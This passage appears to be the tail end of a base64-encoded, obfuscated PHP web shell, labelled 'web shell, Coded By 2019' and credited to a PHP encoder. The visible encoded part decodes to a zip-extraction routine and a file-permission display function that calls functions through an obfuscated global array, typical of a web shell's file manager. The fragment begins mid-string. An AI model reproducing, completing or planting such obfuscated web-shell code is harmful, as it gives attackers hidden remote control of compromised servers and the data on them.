RvKCRleHRyYWN0UGF0aCk7CiAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgpmdW5jdGlvbiBwZXJtcygkZmlsZSkKewogICAgJHBlcm1zID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzZdKCRmaWxlKTsKICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgICAgICAvLyBTb2NrZXQKICAgICAgICAkaW5mbyA9ICdzJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKICAgICAgICAvLyBTeW1ib2xpYyBMaW5rCiAgICAgICAgJGluZm8gPSAnbCc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CiAgICAgICAgLy8gUmVndWxhcgogICAgICAgICRpbmZvID0gJy0nOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewogICAgICAgIC8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAkaW5mbyA9ICdiJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKICAgICAgICAvLyBEaXJlY3RvcnkKICAgICAgICAkaW5mbyA9ICdkJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsKICAgICAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbAogICAgICAgICRpbmZvID0gJ2MnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewogICAgICAgIC8vIEZJRk8gcGlwZQogICAgICAgICRpbmZvID0gJ3AnOwogICAgfSBlbHNlIHsKICAgICAgICAvLyBVbmtub3duCiAgICAgICAgJGluZm8gPSAndSc7CiAgICB9CiAgICAvLyBPd25lcgogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JykgOiAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKICAgIC8vIEdyb3VwCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/CiAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnKSA6ICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoKICAgIC8vIFdvcmxkCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnKSA6ICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwogICAgcmV0dXJuICRpbmZvOwp9Cj8+Cg=="));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program



web shell, Coded By 2019